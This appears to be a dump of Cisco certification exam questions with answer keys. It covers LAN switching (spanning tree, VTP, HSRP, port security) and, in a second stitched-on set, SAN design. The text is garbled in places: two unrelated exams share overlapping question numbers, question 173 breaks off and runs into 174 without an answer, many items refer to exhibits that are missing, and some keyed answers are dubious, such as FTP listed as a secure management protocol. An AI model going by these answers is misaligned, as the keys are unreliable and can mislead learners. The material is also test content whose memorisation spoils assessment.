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QUESTION 156
Given the following configuration on a switch interface, what happens when a host with the MAC address of 0003.0003.0003 is directly connected to the switch port? switchport mode access switchport port-security switchport port-security maximum 2 switchport port-security mac-address 0002.0002.0002 switchport port-security violation shutdown
A. The port will shut down.
B. The host will be allowed to connect. TestInside Help You Pass Any IT Exam http://www.TestInside.com Testinside
C. The host will be refused access.
D. The host can only connect through a hub/switch where 0002.0002.0002 is already connected.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 157
In the use of 802.1X access control, which three protocols are allowed through the switch port before authentication takes place? (Choose three.)
A. STP
B. CDP
C. EAP MD5
D. TACACS+
E. EAP-over-LAN
F. protocols not filtered by an ACL

Correct Answer: ABE Section: (none) Explanation
Explanation/Reference:
QUESTION 158
When you issue a command show port 3/1 on an Ethernet port, you observe the Giants column has a non-zero entry. What could cause this?
A. IEEE 802.1Q
B. IEEE 802.10
C. misconfigured NIC
D. user configuration

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 159
Which VTP information does a Catalyst switch advertise on its trunk ports when using VTP? (Choose two.)
A. VTP mode
B. STP root status
C. negotiation status
D. management domain
E. configuration revision number

Correct Answer: DE Section: (none) Explanation
Explanation/Reference:
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QUESTION 160
What are two benefits provided in VTP Version 2 but NOT in VTP Version 1? (Choose two.)
A. supports Token Ring VLANs
B. allows VLAN consistency checks
C. saves VLAN configuration memory
D. reduces the amount of configuration necessary
E. allows active redundant links when used with spanning tree

Correct Answer: AB Section: (none) Explanation
Explanation/Reference:
QUESTION 161
Refer to the exhibit. All network links are FastEthernet. Although there is complete connectivity throughout the network, Front Line users have been complaining that they experience slower network performance when accessing the server farm than the Reception office experiences. Based on the exhibit, which two statements are true? (Choose two.)

A. Changing the bridge priority of S1 to 4096 would improve network performance.
B. Changing the bridge priority of S1 to 36864 would improve network performance.
C. Changing the bridge priority of S2 to 36864 would improve network performance.
D. Changing the bridge priority of S3 to 4096 would improve network performance. TestInside Help You Pass Any IT Exam http://www.TestInside.com Testinside
E. Disabling the Spanning Tree Protocol would improve network performance.
F. Upgrading the link between S2 and S3 to Gigabit Ethernet would improve performance.

Correct Answer: BD Section: (none) Explanation
Explanation/Reference:
QUESTION 162
Refer to the exhibit. PCs in VLAN 2 are not able to communicate with PCs in VLAN 3. What could be
the cause?

A. IP routing is not enabled.
B. VTP is not configured correctly on the interfaces.
C. The command mls rp management-interface is missing.
D. The command mls rp ip must be disabled to enable the routing.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 163
Which three statements are true of the Link Aggregation Control Protocol (LACP)? (Choose three.)
A. LACP is used to connect to non-Cisco devices.
B. LACP packets are sent with the command channel-group 1 mode desirable.
C. LACP packets are sent with the command channel-group 1 mode active.
D. Standby interfaces should be configured with a higher priority.
E. Standby interfaces should be configured with a lower priority.

Correct Answer: ACD Section: (none) Explanation
Explanation/Reference:
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QUESTION 164
Refer to the exhibit. A workstation PC is connected to the Cisco IP phone access port. Based on the
configuration in the exhibit, how will the traffic be managed?

A. The IP phone access port will override the priority of the frames received from the PC.
B. The IP phone access port will trust the priority of the frames received from the PC.
C. The switch port Fa0/4 will override the priority of the frames received from the PC.
D. The switch port Fa0/4 will trust the priority for the frames received from the PC.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 165
Refer to the exhibit. A trunk link is connected between switch A_SW and switch D_SW. Based on the
configuration shown in the exhibit, how would the traffic coming from the switch A_SW be managed?
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A. The trunk port Fa0/1 on switch A_SW will trust all CoS values on the frames coming from the IP phone.
B. The trunk port Fa0/1 on switch A_SW will trust all CoS values on the frames received on the IP phone.
C. The trunk port Fa0/1 on switch D_SW will trust all CoS values on the frames coming from port Fa0/1 on A_SW.
D. The trunk port Fa0/1 on switch D_SW will trust all CoS values on the frames received on the A_SW switch port Fa0/4.
E. The trunk port Fa0/1 on switch D_SW will trust all CoS values on the frames received on the IP phone port.

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 166
Which option correctly identifies the Cisco IOS switching methods in descending order from the fastest
method to the slowest method?
A. CEF, distributed CEF (dCEF), fast switching, process switching
B. distributed CEF (dCEF), CEF, fast switching, process switching
C. fast switching, process switching, distributed CEF (dCEF), CEF
D. process switching, fast switching, distributed CEF (dCEF), CEF
E. process switching, distributed CEF (dCEF), CEF, fast switching
F. process switching, CEF, distributed CEF (dCEF), fast switching TestInside Help You Pass Any IT Exam http://www.TestInside.com Testinside

Correct Answer: B Section: (none) Explanation Explanation/Reference:
QUESTION 167
What will occur when a nonedge switch port that is configured for Rapid Spanning Tree does not
receive a BPDU from its neighbor for three consecutive hello time intervals?
A. RSTP information is automatically aged out.
B. The port sends a TCN to the root bridge.
C. The port moves to listening state.
D. The port becomes a normal spanning tree port.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 168
Refer to the exhibit. Why does the trust state of interface FastEthernet 0/3 show “not trusted”?
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A. DSCP map needs to be configured for VOIP.
B. ToS has not been configured.
C. ToS has been misconfigured.
D. The command mls qos needs to be turned on in global configuration mode.
E. There is not a Cisco Phone attached to the interface.

Correct Answer: E Section: (none) Explanation
Explanation/Reference:
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QUESTION 169
What two things will occur when an edge port receives a BPDU? (Choose two.)
A. The port immediately transitions to the Forwarding state.
B. The switch generates a Topology Change Notification (TCN) BPDU.
C. The port immediately transitions to the err-disable state.
D. The port becomes a normal STP switch port.

Correct Answer: BD Section: (none) Explanation
Explanation/Reference:
QUESTION 170
What two pieces of information will the show vlan id 5 command display? (Choose two.)
A. VLAN information on port 0/5
B. ports in VLAN 5
C. MTU and type
D. utilization
E. filters

Correct Answer: BC Section: (none) Explanation
Explanation/Reference:
QUESTION 171
Based on the network diagram and routing table output in the exhibit, which of these statements is
true?
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A. InterVLAN routing has been configured properly, and the workstations have connectivity to each other.
B. InterVLAN routing will not occur since no routing protocol has been configured.
C. Although interVLAN routing is not enabled, both workstations will have connectivity to each other.
D. Although interVLAN routing is enabled, the workstations will not have connectivity to each other.

Correct Answer: A Section: (none) Explanation
Explanation/Reference: QUESTION 172
What is the default VTP advertisement for subset advertisements in Catalyst switches that are in server or client mode?
A. 5 seconds
B. 10 seconds
C. 30 seconds
D. 1 minute
E. 5 minutes

Correct Answer: E Section: (none) Explanation
Explanation/Reference:
QUESTION 173
Refer to the exhibit. Based upon the debug output that is shown, which three statements about HSRP
are true? (Choose three.)
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A. The final active router is the router with IP address 172.16.11.111.
B. The router with IP address 172.16.11.111 has preempt configured.
C. The priority of the router with IP address 172.16.11.112 is preferred over the router with IP address

Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 174
16.11.111.
A. The IP address 172.16.11.115 is the virtual HSRP IP address.
B. The router with IP address 172.16.11.112 has nonpreempt configured.
C. The router with IP address 172.16.11.112 is using default HSRP priority.

Correct Answer: AB Section: (none) Explanation
Explanation/Reference:
QUESTION 175
What must be configured on a Cisco switch in order to advertise VLAN information?
A. VTP password
B. VTP domain name
C. VTP revision number
D. VTP mode
E. VTP pruning

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 176
Which describes the default load balancing scheme used by the Gateway Load Balancing Protocol
(GLBP)?
A. per host basis using a round-robin scheme
B. per host basis using a strict priority scheme
C. per session using a round-robin scheme
D. per session using a strict priority scheme
E. per GLBP group using a round-robin scheme TestInside Help You Pass Any IT Exam http://www.TestInside.com Testinside
F. per GLBP group using a strict priority scheme

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 177
When authentication is required, where must 802.1x be configured in order to connect a PC to a
switch?
A. client PC only
B. switch port only
C. switch port and client PC
D. switch port and local router port

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 178
How are STP timers and state transitions affected when a topology change occurs in an STP
environment?
A. All ports will temporarily transition to the learning state for a period equal to the max age timer plus the forward delay interval.
B. All ports will transition temporarily to the learning state for a period equal to the forward delay interval.
C. The default aging time for MAC address entries will be reduced for a period of the max age timer plus the forward delay interval.
D. The default hello time for configuration BDPUs will be reduced for the period of the max age timer.

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 179
Refer to the exhibit. VTP has been enabled on the trunk links between all switches within the TEST
domain. An administrator has recently enabled VTP pruning. Port 1 on Switch 1 and port 2 on Switch 4 are
assigned to VLAN 2. A broadcast is sent from the host connected to Switch 1. Where will the broadcast
propagate?
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A. Every switch in the network receives the broadcast and will forward it out all ports.
B. Every switch in the network receives the broadcast, but only Switch 4 will forward it out port 2.
C. Switches 1, 2, and 4 will receive the broadcast, but only Switch 4 will forward it out port 2.
D. Only Switch 4 will receive the broadcast and will forward it out port 2.

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 180
Refer to the exhibit. VLAN 1 and VLAN 2 are configured on the trunked links between Switch A and Switch B. Port Fa 0/2 on Switch B is currently in a blocking state for both VLANs. What should be done to load balance VLAN traffic between Switch A and Switch B?

A. Lower the port priority for VLAN 1 on port 0/1 for Switch A.
B. Lower the port priority for VLAN 1 on port 0/2 for Switch A.
C. Make the bridge ID of Switch B lower than the ID of Switch A.
D. Enable HSRP on the access ports.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 181
Refer to the exhibit. Which two problems are the most likely cause of the exhibited output? (Choose
two.)
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A. spanning tree issues
B. HSRP misconfiguration
C. VRRP misconfiguration
D. physical layer issues
E. transport layer issues

Correct Answer: BD Section: (none) Explanation
Explanation/Reference:
QUESTION 182
Refer to the exhibit. Initially, LinkA is connected and forwarding traffic. A new LinkB is then attached between SwitchA and HubA. Which two statements are true about the possible result of attaching the second link? (Choose two.)

A. The switch port attached to LinkB will not transistion to up.
B. One of the two switch ports attached to the hub will go into blocking mode when a BPDU is received.
C. Both switch ports attached to the hub will transition to the blocking state.
D. A heavy traffic load could cause BPDU transmissions to be blocked and leave a switching loop.
E. The switch port attached to LinkA will immediately transition to the blocking state.

Correct Answer: BD Section: (none) Explanation
Explanation/Reference:
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QUESTION 183
Refer to the exhibit and the partial configuration on routers R1 and R2. Hot Standby Routing Protocol (HSRP) is configured on the network to provide network redundancy for the IP traffic. The network administrator noticed that R2 does not became active when the R1 serial0 interface goes down. What should be changed in the configuration to fix the problem?

A. R2 should be configured with a HSRP virtual address.
B. R2 should be configured with a standby priority of 100.
C. The Serial0 interface on router R1 should be configured with a decrement value of 20.
D. The Serial1 interface on router R2 should be configured with a decrement value of 20.

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 184
Refer to the exhibit. Which statement is true about the output?
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A. The port on switch CAT1 is forwarding and sending BPDUs correctly.
B. The port on switch CAT1 is blocking and sending BPDUs correctly.
C. The port on switch CAT2 is forwarding and receiving BPDUs correctly.
D. The port on switch CAT2 is blocking and sending BPDUs correctly.
E. The port on switch CAT3 is forwarding and receiving BPDUs correctly.
F. The port on switch CAT3 is forwarding, sending, and receiving BPDUs correctly.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 185
Refer to the exhibit. What statement is true based upon the configuration of router R1 and router R2?
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A. Router R1 will become the active virtual gateway.
B. Router R2 will become the active virtual gateway.
C. The hello and hold timers are incompatible with multi-homed BGP.
D. The hello and hold timers are incompatible with OSPF type 5 LSAs.
E. Router R1 will become the master for Virtual Router 1, and router R2 will become the backup for Virtual Router 2.
F. Router R2 will become the master for Virtual Router 1, and router R1 will become the backup for Virtual Router 2.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 186
Refer to the exhibit. The switchport output in Figure 1 displays the default settings of interface
FastEthernet 0/13 on switch SW1. Figure 2 displays the desired interface settings. Which command
sequence would configure interface FastEthernet 0/13 as displayed in Figure 2?
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A. SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk SW1 (config-if)# switchport trunk native DATA SW1(config-if)# switchport trunk allowed vlan 1,10,20
B. SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode dynamic auto SW1(config-if)# switchport trunk native DATA SW1(config-if)# witchport trunk allowed vlan add 1,10,20
C. SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode dynamic desirable SW1(config-if)# switchport trunk native vlan DATA SW1(config-if)# switchport trunk allowed vlan 1,10,20
D. SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode dynamic desirable SW1(config-if)# switchport trunk native vlan 10 SW1(config-if)# switchport trunk allowed vlan 1,10,20
E. SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode dynamic desirable SW1(config-if)# switchport trunk native vlan 10

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 187
Refer to the exhibit. For what purpose is the command show ip cef used?
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A. to display rewritten IP unicast packets
B. to display ARP resolution packets
C. to display ARP throttling
D. to display TCAM matches
E. to display CEF-based MLS lookups
F. to display entries in the Forwarding Information Base (FIB)

Correct Answer: F Section: (none) Explanation
Explanation/Reference:
QUESTION 188
Which two statements are true about HSRP, VRRP, and GLBP? (Choose two.)
A. GLBP allows for router load balancing of traffic from a network segment without the different host IP configurations required to achieve the same results with HSRP.
B. GLBP allows for router load balancing of traffic from a network segment by utilizing the creation of multiple standby groups.
C. GLBP and VRRP allow for MD5 authentication, whereas HSRP does not.
D. Unlike HSRP and VRRP, GLBP allows automatic selection and simultaneous use of multiple available gateways.
E. HSRP allows for multiple upstream active links being simultaneously used, whereas GLBP does not.

Correct Answer: AD Section: (none) Explanation
Explanation/Reference:
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QUESTION 189
Refer to the exhibit. Host A and Host B are connected to the Catalyst 3550 switch and have been
assigned to their respective VLANs. The rest of the 3550 configuration is the default configuration. Host A is able to ping its default gateway, 10.10.10.1, but is unable to ping Host B. Given the output displayed in the exhibit, which statement is true?

A. HSRP must be configured on SW1.
B. A separate router is required to support interVLAN routing.
C. Interface VLAN 10 must be configured on the SW1 switch.
D. The global config command ip routing must be configured on the SW1 switch.
E. VLANs 10 and 15 must be created in the VLAN database mode.
F. VTP must be configured to support interVLAN routing.

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 190
Refer to the exhibit and the show interfaces fastethernet0/1 switchport outputs. Users in VLAN 5 on
switch SW_A complain that they do not have connectivity to the users in VLAN 5 on switch SW_B. What
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A. Configure the same number of VLANs on both switches.
B. Create switch virtual interfaces (SVI) on both switches to route the traffic.
C. Define VLAN 5 in the allowed list for the trunk port on SW_A.
D. Disable pruning for all VLANs in both switches.
E. Define VLAN 5 in the allowed list for the trunk port on SW_B

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 191
What does the Catalyst switch interface configuration command switchport trunk native vlan 7
accomplish?
A. configures the interface to be a trunking port and causes traffic on VLAN 7 to be 802.1q tagged
B. causes the interface to apply ISL framing for traffic on VLAN 7
C. configures the trunking interface to send traffic from VLAN 7 untagged
D. configures the trunking interface to forward traffic from VLAN 7

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
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QUESTION 192
Refer to the exhibit. The show port-security interface fa0/1 command was issued on switch SW1.
Given the output that was generated, which two security statement are true? (Choose two.)

A. Interface FastEthernet 0/1 was configured with the switchport port-security aging command.
B. Interface FastEthernet 0/1 was configured with the switchport port-security protect command.
C. Interface FastEthernet 0/1 was configured with the switchport port-security violation restrict command.
D. When the number of secure IP addresses reaches 10, the interface will immediately shut down.
E. When the number of secure MAC addresses reaches 10, the interface will immediately shut down and an SNMP trap notification will be sent.

Correct Answer: BE Section: (none) Explanation
Explanation/Reference: QUESTION 193
Which two statements about the various implementations of STP are true? (Choose two.)
A. Common Spanning Tree maintains a separate spanning-tree instance for each VLAN configured in the network.
B. The Spanning Tree Protocol (STP) is an evolution of the IEEE 802.1w standard.
C. Per-VLAN Spanning Tree (PVST) supports 802.1Q trunking. TestInside Help You Pass Any IT Exam http://www.TestInside.com Testinside
D. Per-VLAN Spanning Tree Plus(PVST+) is an enhancement to 802.1Q specification and is supported only on Cisco devices.
E. Rapid Spanning Tree Protocol (RSTP) includes features equivalent to Cisco PortFast, UplinkFast, and BackboneFast for faster network reconvergence.
F. Multiple Spanning Tree (MST) assumes one spanning-tree instance for the entire Layer 2 network, regardless of the multiple number of VLANs.

Correct Answer: DE Section: (none) Explanation
Explanation/Reference:
QUESTION 194
Refer to the exhibit and the partial configuration of switch SW_A and SW_B. STP is configured on all
switches in the network. SW_B receives this error message on the console port:

00:06:34:
%CDP-4-DUPLEX_MISMATCH: duplex mismatch discovered on FastEthernet0/5 (not half
duplex),
with SW_A FastEthernet0/4 (half duplex) ,
with TBA05071417(Cat6K-B) 0/4 (half duplex).
What would be the possible outcome of the problem?
A.
The root port on switch SW_A will automatically transition to full-duplex mode.

B.
The root port on switch SW_B will fallback to full-duplex mode.

C.
The interfaces between switches SW_A and SW_B will transition to a blocking state.

D.
Interface Fa 0/6 on switch SW_B will transition to a forwarding state and create a bridging loop. TestInside Help You Pass Any IT Exam http://www.TestInside.com Testinside

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 195
Which two statements are true about BPDU port-guard and BPDU filtering? (Choose two.)
A. BPDU port-guard can be enabled globally, whereas BPDU filtering must be enabled on a per-interface basis.
B. When globally enabled, BPDU port-guard and BPDU filtering apply only to PortFast enabled ports.
C. When globally enabled, BPDU port-guard and BPDU filtering apply only to trunking-enabled ports.
D. When a BPDU is received on a BPDU port-guard enabled port, the interface goes into the err-disabled state.
E. When a BPDU is received on a BPDU filtering enabled port, the interface goes into the err-disabled state.
F. When a BPDU is received on a BPDU filtering enabled port, the interface goes into the STP blocking state.

Correct Answer: BD Section: (none) Explanation
Explanation/Reference:
QUESTION 196
Refer to the exhibit. Switch 15 is configured as the root switch for VLAN 10 but not for VLAN 20. If the
STP configuration is correct, what will be true about Switch 15?

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A. All ports will be in forwarding mode.
B. All ports in VLAN 10 will be in forwarding mode.
C. All ports in VLAN 10 will be in forwarding mode and all ports in VLAN 20 will be in blocking mode.
D. All ports in VLAN 10 will be in forwarding mode and all ports in VLAN 20 will be in standby mode.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 197
Refer to the exhibit. Which statement is true?

A. IP traffic matching access list ABC is forwarded through VLANs 5-10.
B. IP traffic matching VLAN list 5-10 will be forwarded, and all other traffic will be dropped.
C. All VLAN traffic matching VLAN list 5-10 will be forwarded, and all traffic matching access list ABC is dropped.
D. All VLAN traffic in VLANs 5-10 that match access list ABC will be forwarded, and all else will be dropped.

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 198
Refer to the exhibit. Switch P1S1 is not applying VLAN updates from switch P2S1. What are three
reasons why this is not occurring? (Choose three.)
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A. Switch P2S1 is in server mode.
B. Switch P1S1 is in transparent mode.
C. The MD5 digests do not match.
D. The passwords do not match.
E. The VTP domains are different.
F. VTP trap generation is disabled on both switches.

Correct Answer: BDE Section: (none) Explanation
Explanation/Reference:
QUESTION 199
Refer to the exhibit. Based upon the output of show vlan on switch CAT2, what can we conclude about
interfaces Fa0/13 and Fa0/14?
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A. that interfaces Fa0/13 and Fa0/14 are in VLAN 1
B. that interfaces Fa0/13 and Fa0/14 are down
C. that interfaces Fa0/13 and Fa0/14 are trunk interfaces
D. that interfaces Fa0/13 and Fa0/14 have a domain mismatch with another switch
E. that interfaces Fa0/13 and Fa0/14 have a duplex mismatch with another switch

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 200
What must be the same to make multiple switches part of the same Multiple Spanning Tree (MST)?
A. VLAN instance mapping and revision number
B. VLAN instance mapping and member list
C. VLAN instance mapping, revision number, and member list
D. VLAN instance mapping, revision number, member list, and timers

Correct Answer: A Section: (none) Explanation
Explanation/Reference:

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QUESTION 147
What would be a good initial SAN-migration project for a small or medium-sized business that possesses ample WAN bandwidth, but that has an immediate need to reduce spending and to maximize resources?
A. Reduce the WAN bandwidth.
B. Implement FCIP to consolidate all remote SANs.
C. Implement backup consolidation.
D. Centralize the data center and implement an iSCSI solution.

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 148
Exhibit:

Refer to the exhibit. Which three outcomes would a customer realize by performing the migration from a multitier fabric design to a consolidated design? (Choose three.)
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A. lower effective port cost
B. high availability because of the multifaceted redundancy that is built into the Cisco MDS switch
C. lower effective port count
D. higher effective port cost
E. higher effective port count
F. lower availability because there are fewer fabric switches for failover

Correct Answer: ABE Section: (none) Explanation
Explanation/Reference:
QUESTION 149
What are two MDS features that increase the efficiency of a multiple switch Fibre Channel fabric? (Choose two.)
A. Port Channel
B. CDP
C. FCP
D. FCC
E. CUP

Correct Answer: AD Section: (none) Explanation
Explanation/Reference:
QUESTION 150
What provides storage virtualization from IBM?
A. Advanced Services Module (ASM)
B. Caching Services Module (CSM)
C. Storage Services Module (SSM)
D. Cisco MDS 9000 32-port 1/2-Gbps FC Module
E. IP Multiprotocol Services Module

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 151
A customer is concerned about the security of the SAN. The customer wants to prevent unauthorized hosts and switches from connecting to the SAN fabric. Which technology should be enabled on the Cisco MDS 9000 Series SAN to accommodate this requirement?
Actualtests.com – The Power of Knowing 642-355
A. DHCAP
B. role-based authorization
C. zones
D. SSH

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 152
Which four secure management protocols are used to enable intelligent SAN security? (Choose four.)
A. SSH
B. Secure TFTP
C. SNMP
D. FTP
E. DNS
F. RADIUS-based AAA

Correct Answer: ABCD Section: (none) Explanation Explanation/Reference:
QUESTION 153
When designing a SAN, what is considered to be the most significant security threat?
A. Denial of Service attacks
B. Management Access
C. WWN Spoofing
D. FC_ID Spoofing
E. Host to Storage data paths

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 154
Which tool requires the Cisco Fabric Manager Server License to operate?
A. Cisco Performance Manager
B. Cisco Fabric Manager
C. Cisco Device Manager
D. Cisco Fabric Analyzer Actualtests.com – The Power of Knowing 642-355

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 155
What are two characteristics of iSCSI? (Choose two.)
A. iSCSI initiators cannot be members of more than one VSAN.
B. The port VSAN of an iSCSI interface cannot be modified.
C. iSCSI cannot benefit from existing IP QoS.
D. By default, dynamically mapped iSCSI initiators are members of VSAN 1.
E. The IPS module creates one or more FC virtual N_Ports for each iSCSI host.
F. By default, all statically mapped iSCSI initiators are members of VSAN 4094.

Correct Answer: DE Section: (none) Explanation
Explanation/Reference:
QUESTION 156
In a core-edge SAN implementation, which statement is true about oversubscription?
A. When using full-rate mode ports, there is no oversubscription in a core-edge implementation.
B. A core-edge design has manageable oversubscription, but at the cost of used ISL ports.
C. Oversubscription in a core-edge design is implemented by using N_Ports.
D. When using a core-edge design, there is only oversubscription when it is implemented in a heterogeneous environment.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 157
Which technology should be used to provide transparent low latency FC transport across a metropolitan area?
A. DWDM
B. FCIP
C. iSCSI
D. iFCP

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
Actualtests.com – The Power of Knowing 642-355
QUESTION 158
Which Fibre Channel SAN topology maximizes performance and expandability?
A. multi-point
B. point-to-point
C. arbitrated loop
D. switched fabric
E. star

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 159
What are three causes of host oversubscription? (Choose three.)
A. the operating system
B. the PCI bus limitations
C. the RTO and RPO values
D. whether the HBA has a flat FCIDs assigned
E. the limits on the maximum I/O and bandwidth rate

Correct Answer: ABE Section: (none) Explanation
Explanation/Reference: QUESTION 160
What are three array characteristics that are crucial when planning a SAN design? (Choose three.)
A. fan-in ratio
B. connection speed
C. embedded cache controller
D. RAID level support
E. active/passive controller

Correct Answer: BCE Section: (none) Explanation
Explanation/Reference:
QUESTION 161
What are two benefits of the Cisco MDS Series Switches that increase the overall resiliency of SAN extension? (Choose two.)
Actualtests.com – The Power of Knowing 642-355
A. VSANs and IVR can eliminate the potential disruption of a WAN failure.
B. VSANs and IVR can increase resiliency by combining control traffic and data traffic over the WAN.
C. Parallel tunnels and PortChannels eliminate failure of every VSAN or IVR in the local fabric.
D. PortChannels and VSANs can be used with FCIP to provide end-to-end redundancy and load balancing.
E. Recovery at the PortChannel level, instead of at the FSPF routing level, provides nondisruptive recovery.

Correct Answer: DE Section: (none) Explanation
Explanation/Reference:
QUESTION 162
A customer is planning to deploy a new storage-area-network infrastructure. The customer has five buildings within corporate headquarters, each with a separate data center. Four of the five data centers serve separate business units, while the fifth serves as the primary data center for the entire company. The customer would like to deploy the SAN in such a way that each of the five data centers will have its own storage-network infrastructure and connectivity amongst each other. The customer is planning to enable long-distance connectivity from the primary data center for the purposes of replicating data from all of the data centers across the country. Which SAN topology would you recommend that the customer deploy?
A. core-edge
B. collapsed core
C. partial mesh
D. full mesh

Correct Answer: A Section: (none) Explanation
Explanation/Reference: QUESTION 163
Which statement is true about when the Cisco MDS switch is operating in native mode?
A. Native mode is the only mode available on the MDS switch, and thus the switch is able to operate with all other storage switches because all storage switches are certified by SNIA.
B. If the products of other storage-switch vendors strictly adhere to published standards, they will be able to interoperate with MDS in native mode.
C. Most commonly deployed switches in the marketplace today can interoperate with the switches of other vendors while functioning in their default or native mode.
D. Non-MDS switches are able to interpret the Cisco EISL header and thus can Actualtests.com – The Power of Knowing 642-355 interpret VSAN information.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 164
What are three key benefits of implementing a SAN using iSCSI? (Choose three.)
A. uses existing IP networking, monitoring, and management infrastructure
B. is more efficient than FC since it requires fewer encapsulations
C. maintains consistent performance over IP networks of varying distances
D. significant capital cost reduction by substituting iSCSI as a transport technology
E. extends existing FC SAN to IP connected hosts

Correct Answer: ADE Section: (none) Explanation
Explanation/Reference:
QUESTION 165
At which point can security on a Fibre Channel SAN be implemented? (Choose three.)
A. storage array
B. server
C. Fibre Channel switch
D. GigE NIC
E. SFP connector

Correct Answer: ABC Section: (none) Explanation
Explanation/Reference:
QUESTION 166
A customer recently deployed a core-edge storage network infrastructure that consists of several Cisco MDS directors and fabric switches. The directors are deployed in the core of the network, and the fabric switches are deployed as edge devices. The edge devices are connected to the core by PortChannels, which consist of four links. The customer is interested in in-band management of the fabric using TCP/IP. Which two configurations are required for enabling in-band management of the fabric using TCP/IP? (Choose two.)
A. VRRP
B. FCIP
C. IPFC
D. synchronization of management users and passwords Actualtests.com – The Power of Knowing 642-355
E. VSAN IP addresses

Correct Answer: CE Section: (none) Explanation
Explanation/Reference:
QUESTION 167
A customer has deployed two Cisco MDS 9509 Multilayer Directors. One MDS 9509 is deployed in each of two separate data centers. The primary data center is always active, and the secondary data center is considered a standby site. The data centers are connected together by a single Gigabit Ethernet connection that is shared by many departmental networks within the company. The network connection is unreliable and is frequently out of service. The storage administrator needs to synchronously replicate data from an array in the production data center to an array in the standby data center, but is concerned about the network instability impacting the production data center. Which feature would you recommend to the administrator to minimize disruption?
A. PortChannel
B. Fibre Channel over IP
C. Inter-VSAN Routing
D. Fibre Channel Congestion Control
E. Fibre Channel timeout values

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 168
Select three characteristics of the Cisco coarse wave division multiplexing (CWDM) solution. (Choose three.)
A. multiplexes up to eight wavelengths across a single fiber pair
B. supports a maximum connection length of 220 kilometers
C. supports both linear and ring topologies
D. requires OADMs (optical add/drop multiplexers) to aggregate multiple wavelengths across the same fiber pair
E. can be optically amplified to extend the distance characteristics

Correct Answer: ACD Section: (none) Explanation
Explanation/Reference:
QUESTION 169
What are three reasons to implement VSANs in a Fibre Channel SAN? (Choose three.)
Actualtests.com – The Power of Knowing 642-355
A. to reduce network infrastructure requirements
B. to increase data security
C. to enable port-channeling
D. to enable TCP/IP routing
E. to share SAN extension capability using EISLs

Correct Answer: ABE Section: (none) Explanation
Explanation/Reference:
QUESTION 170
What is considered the optimal topology for deployment of Fibre Channel SANs using Cisco MDS family products? (Choose two.)
A. mesh
B. ring
C. core-edge
D. collapsed core
E. core-edge with VSAN

Correct Answer: DE Section: (none) Explanation
Explanation/Reference:
QUESTION 171
A large credit card processing firm is adding a second data center to support business continuance. What is the recommended solution for extending the SAN to the second data center if both data centers are active?
A. asynchronous replication using FCIP
B. dual homed servers, and IP connectivity using multiple paths
C. iSCSI installation and a bridge the Ethernet network to the Fibre Channel fabric
D. synchronous replication using DWDM

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 172
A customer has storage arrays from multiple vendors, and is considering a virtualization solution to simplify storage management. Choose three advantages of using a Cisco MDS-based virtualization solution with an MDS 9500 Series Director instead of host-based or storage-based virtualization solutions. (Choose three.)
A. host and storage heterogeneity Actualtests.com – The Power of Knowing 642-355
B. LUN masking that is simpler to implement
C. virtualization that is closer to the target
D. virtualization that is embedded in the switch module
E. availability

Correct Answer: ADE Section: (none) Explanation
Explanation/Reference:
QUESTION 173
A customer is considering designing a new storage-network infrastructure to simplify storage network management. The existing solution uses ten 16-port 1-Gbps Fibre Channel switches. Two of the switches are deployed as core switches, and the remaining eight switches are deployed as edge switches. Each edge switch has an ISL to each of the two core switches. The disk array has four 1-Gbps Fibre Channel interfaces. Two interfaces connect to each of the core switches. Each of the 96 servers has a single 1-Gbps Fibre Channel host bus adapter. Which configuration would provide equivalent or better performance while simplifying infrastructure management?
A. two Cisco MDS 9140 Fabric Switches
B. two Cisco MDS 9216 Fabric Switches, each with one 32-port Fibre Channel line card
C. one Cisco MDS 9506 Multilayer Director with two 16-port Fibre Channel line cards and two 32-port Fibre Channel line cards
D. one Cisco MDS 9506 Multilayer Director with four 32-port Fibre Channel line cards

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 174
Which three applications would be best suited for a SAN rather than a NAS environment? (Choose three.)
A. web content services
B. order entry and inventory tracking
C. enterprise resource planning (ERP)
